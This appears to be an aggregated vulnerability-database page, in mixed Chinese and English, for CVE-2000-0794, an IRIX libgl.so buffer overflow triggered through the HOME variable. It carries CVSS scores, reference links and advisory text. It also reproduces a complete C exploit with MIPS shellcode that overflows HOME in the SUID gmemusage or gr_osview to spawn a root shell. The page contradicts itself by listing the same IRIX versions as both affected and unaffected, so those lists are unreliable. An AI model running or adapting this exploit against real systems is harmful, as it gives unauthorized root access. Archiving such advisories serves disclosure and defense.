CVE-2000-0794
CVSS7.2
发布时间 :2000-10-20 00:00:00
修订时间 :2008-09-05 16:21:54
NMCOES    

[原文]Buffer overflow in IRIX libgl.so library allows local users to gain root privileges via a long HOME variable to programs such as (1) gmemusage and (2) gr_osview.


[CNNVD]IRIX libgl.so缓冲区溢出漏洞(CNNVD-200010-024)

        IRIX libgl.so library存在缓冲区溢出漏洞。本地用户可以借助程序如(1)gmemusage,和(2)gr_osview的超长HOME变量获取根权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0794
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0794
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200010-024
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1527
(VENDOR_ADVISORY)  BID  1527
http://www.iss.net/security_center/static/5063.php
(UNKNOWN)  XF  irix-libgl-bo(5063)
http://www.securityfocus.com/templates/archive.pike?list=1&msg=200008021924.e72JOVs12558@ix.put.poznan.pl
(UNKNOWN)  BUGTRAQ  20000802 [LSD] some unpublished LSD exploit codes
http://www.osvdb.org/8568
(UNKNOWN)  OSVDB  8568

- 漏洞信息

IRIX libgl.so缓冲区溢出漏洞
高危 缓冲区溢出
2000-10-20 00:00:00 2005-10-20 00:00:00
本地  
        IRIX libgl.so library存在缓冲区溢出漏洞。本地用户可以借助程序如(1)gmemusage,和(2)gr_osview的超长HOME变量获取根权限。

- 公告与补丁

        Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (20127)

SGI IRIX 6.2 libgl.so Buffer Overflow Vulnerability (EDBID:20127)
irix local
1997-09-01 Verified
0 Last Stage of Delirium
N/A [点击下载]
source: http://www.securityfocus.com/bid/1527/info


Certain versions of IRIX ship with a version libgl.so which is vulnerable to buffer overflow attacks. This library, libgl.so, is used in conjunction with graphical programs which use OpenGL. As a result a number of programs which utilize libgl.so can be exploited via this problem. The exploit which is in known public circulation at this time uses both gmemusage and gr_osview to exploit this problem. The buffer overflow itself is in how libgl.so handles the $HOME variable is handled (it is not checked for length). Further the programs which receive this $HOME variable from libgl.so further fail to limit it's size resulting in a buffer overflow attack. Should the receiving programs be SUID root (as are both gr_osview and gmemusage) the attacker will gain root access. 

                /*## copyright LAST STAGE OF DELIRIUM sep 1997 poland        *://lsd-pl.net/ #*/
                /*## libgl.so $HOME                                                          #*/

                #define ADRNUM 500
                #define PCHNUM 320
                #define TMPNUM 500
                #define NOPNUM 740
                #define ALLIGN 3

                char shellcode[]=
                    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
                    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
                    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
                    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
                    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
                    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
                    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
                    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
                    "\x03\xff\xff\xcc"    /* syscall                      */
                    "/bin/sh"
                ;

                char jump[]=
                    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
                    "\x03\xe0\x00\x08"    /* jr      $ra                  */
                ;

                char nop[]="\x24\x0f\x12\x34";

                main(int argc,char **argv){
                    char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2];
                    int i,n=-1;

                    printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland  //lsd-pl.net/\n");
                    printf("libgl.so $HOME for irix 6.2 IP:20,22\n\n");

                    if(argc!=2){
                        printf("usage: %s {gmemusage|gr_osview}\n",argv[0]);
                        exit(-1);
                    }
                    if(!strcmp(argv[1],"gmemusage")) n=0;
                    if(!strcmp(argv[1],"gr_osview")) n=1;
                    if(n==-1) exit(-1);

                    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10268+252+824+500;
                    *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10268+252+824+31868;
                    *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10268;

                    envp[0]=buffer;
                    envp[1]=0;

                    b=buffer;
                    sprintf(b,"HOME=");
                    b+=5;
                    for(i=0;i<ALLIGN;i++) *b++=0xff;
                    for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
                    *b++=0xff;
                    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
                    for(i=0;i<ALLIGN;i++) *b++=0xff;
                    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
                    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
                    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
                    *b=0;

                    switch(n){
                    case 0: execle("/usr/sbin/gmemusage","lsd",0,envp);
                    case 1: execle("/usr/sbin/gr_osview","lsd",0,envp);
                    }
                }
		

- 漏洞信息

8568
IRIX libgl.so HOME Variable Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity Upgrade
Exploit Public Third-party Verified

- 漏洞描述

A local overflow exists in IRIX. The gmemusage program and gr_osview programs, which use the libgl.so library, fail to validate the HOME environment variable resulting in a buffer overflow. With a specially crafted request, an attacker can obtain root privileges resulting in a loss of integrity.

- 时间线

2000-08-02 Unknow
1997-09-01 Unknow

- 解决方案

Upgrade to version 6.3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

IRIX libgl.so Buffer Overflow Vulnerability
Boundary Condition Error 1527
No Yes
2000-08-02 12:00:00 2009-07-11 02:56:00
This vulnerability was posted to the Bugtraq mailing list by LSD <contact@lsd-pl.net> (Last Stages of Delirium) on August 2, 2000.

- 受影响的程序版本

SGI IRIX 6.2
SGI IRIX 6.5.8
SGI IRIX 6.5.7
SGI IRIX 6.5.6
SGI IRIX 6.5.4
SGI IRIX 6.5.3 m
SGI IRIX 6.5.3 f
SGI IRIX 6.5.3
SGI IRIX 6.5.2 m
SGI IRIX 6.5.1
SGI IRIX 6.5
SGI IRIX 6.4
SGI IRIX 6.3

- 不受影响的程序版本

SGI IRIX 6.5.8
SGI IRIX 6.5.7
SGI IRIX 6.5.6
SGI IRIX 6.5.4
SGI IRIX 6.5.3 m
SGI IRIX 6.5.3 f
SGI IRIX 6.5.3
SGI IRIX 6.5.2 m
SGI IRIX 6.5.1
SGI IRIX 6.5
SGI IRIX 6.4
SGI IRIX 6.3

- 漏洞讨论

Certain versions of IRIX ship with a version libgl.so which is vulnerable to buffer overflow attacks. This library, libgl.so, is used in conjunction with graphical programs which use OpenGL. As a result a number of programs which utilize libgl.so can be exploited via this problem. The exploit which is in known public circulation at this time uses both gmemusage and gr_osview to exploit this problem. The buffer overflow itself is in how libgl.so handles the $HOME variable is handled (it is not checked for length). Further the programs which receive this $HOME variable from libgl.so further fail to limit it's size resulting in a buffer overflow attack. Should the receiving programs be SUID root (as are both gr_osview and gmemusage) the attacker will gain root access.

- 漏洞利用

x

- 解决方案

Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

 

 

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